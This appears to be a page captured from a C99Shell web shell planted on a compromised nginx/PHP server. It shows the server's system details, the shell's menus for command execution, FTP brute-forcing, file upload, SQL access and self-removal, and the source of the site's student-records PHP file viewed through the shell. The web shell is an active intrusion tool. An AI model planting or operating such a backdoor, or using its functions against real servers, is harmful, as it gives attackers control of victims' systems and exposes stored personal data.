!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.75 GB of 49.93 GB (61.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     allrecordsshow.php (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('session.php');
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Student Registration Delete </title>
<style>
table { 
  width: 100%; 
  border-collapse: collapse; 
}
/* Zebra striping */
tr:nth-of-type(odd) { 
  background: #eee; 
}
th { 
  background: #333; 
  color: white; 
  font-weight: bold; 
}
td, th { 
  padding: 6px; 
  border: 1px solid #ccc; 
  text-align: left; 
}
</style>
</head>
<center>
<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC">
  <tr>
    <td colspan="4" bgcolor="#FFFF00"><?php include('header.php'); ?></td>
  </tr>
    
     <table width="100%">

    <td colspan="4" bgcolor="#FFFF00"><?php include('menubar.php'); ?></td>
  </tr>
 <tr>
        <td colspan="3" bgcolor="#CCCCCC"> <?php include('sessionbar.php'); ?></td>
      </tr>
 </table>

  
       
<form id="form1" name="form1" method="post" action="registration_edit.php">
   <?php
include 'connect.php'// Include the database connection file

// Attempt select query execution
$sql "SELECT * FROM admission ORDER BY LENGTH(enrollment), enrollment";

if (
$result mysqli_query($link$sql)) {
    if (
mysqli_num_rows($result) > 0) {
        echo 
"<table width='1030' border='1' bgcolor='yellow' style='table-layout:fixed' class='w3-table w3-bordered w3-striped w3-border w3-hoverable'>"
        echo 
"<tr>
                <th>SERIAL</th>
                <th>PHOTO</th>
                <th>ROLL NO</th>
                <th>STUDENT NAME</th>
                <th>FATHER</th>
                <th>COURSE NAME</th>
                <th>ADMISSION DATE</th>
                <th>MOBILE</th>
                <th>CERTIFICATE ISSUE DATE</th>
              </tr>"
;
        
        
$sr 0;
        while (
$row mysqli_fetch_array($result)) {
            
$sr++;
            
$balance $row['totalfees'] - $row['depositfees'];
            
$studentphoto $row['photo'];
            
$certificate_issue_date $row['certificate_issue_date'];
            
$certilengh strlen($certificate_issue_date);

            
// Certificate issue message logic
            
if ($certilengh 2) {
                
$sendmessage "<a href='generate_certificate.php?ID=" $row['ID'] . "'>Generate Certificate</a>";
            } else {
                
$sendmessage $certificate_issue_date;
            }

            
// Handle photo URL encoding
            
$newphoto str_replace(' ''%20'$studentphoto);
            
$photoHTML "<img border='5' width='70%' height='70' src='http://itce.co.in/data/files/$newphoto'>";

            
// Table row
            
echo "<tr>
                    <td style='text-align:center'><b>
$sr</b></td>
                    <td align='left'>
$photoHTML</td>
                    <td style='text-align:center'>
{$row['enrollment']}</td>
                    <td style='text-align:center'>
{$row['name']}</td>
                    <td style='text-align:center'>
{$row['fatherName']}</td>
                    <td style='text-align:center'>
{$row['course']}</td>
                    <td align='left'>
{$row['regDate']}</td>
                    <td align='left'>
{$row['mobile']}</td>
                    <td align='left'>
$sendmessage</td>
                  </tr>"
;
        }
        echo 
"</table>";

        
// Free result set
        
mysqli_free_result($result);
    } else {
        echo 
"No records matching your query were found.";
    }
} else {
    echo 
"ERROR: Could not execute $sql. " mysqli_error($link);
}

// Close connection
mysqli_close($link);
?>


      
  </form>
<?php include('footer.php'); ?>
</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--